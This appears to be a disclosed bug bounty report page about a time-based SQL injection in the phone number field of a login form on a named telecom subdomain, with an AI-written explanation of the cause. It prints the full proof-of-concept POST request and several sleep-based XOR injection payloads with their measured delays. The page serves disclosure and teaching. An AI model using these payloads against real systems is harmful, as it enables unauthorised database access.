SQL injection [futexpert.mtngbissau.com]
The login form's phone number field was vulnerable to time-based SQL injection, as shown by delays when crafted input was submitted.
- Triaged in 13 days
- Fixed in 12 months
- Disclosed after 14 months
Summary by the researcher
Proof of Exploit SQL query - SELECT user FROM dual CORPORATEBULKSMS
The report
Summary:
[add summary of the vulnerability]
Steps To Reproduce:
[add details for how we can reproduce the issue]
- Poc Request
POST /signin/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: https://futexpert.mtngbissau.com/ Cookie: PHPSESSID=sn56alvthfp0l0vvoku34jd2i4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 82 Host: futexpert.mtngbissau.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Connection: Keep-alive
phone_number=0'XOR(if(now()=sysdate()%2Csleep(10)%2C0))XOR'Z&pin=1&submit=Continuar
Tests performed: 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.438 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.394 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.391 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.396 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.802 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.436 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.435
Impact
sql
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application builds SQL queries by concatenating user input from the phone number field without parameterisation or proper escaping.
What the attacker needed
Access to the login page; no account needed
How it was found
- Send a POST request to the sign-in endpoint with a crafted phone_number value.
- Observe that the response is delayed by the number of seconds specified in the injected sleep function.
- Repeat with different sleep durations to confirm the delay scales with the input.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database command without proper handling, letting an attacker change the command. Here, the phone number field on a login page caused the database to pause for several seconds when a special input was sent, which proves the input reaches the database unsafely.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.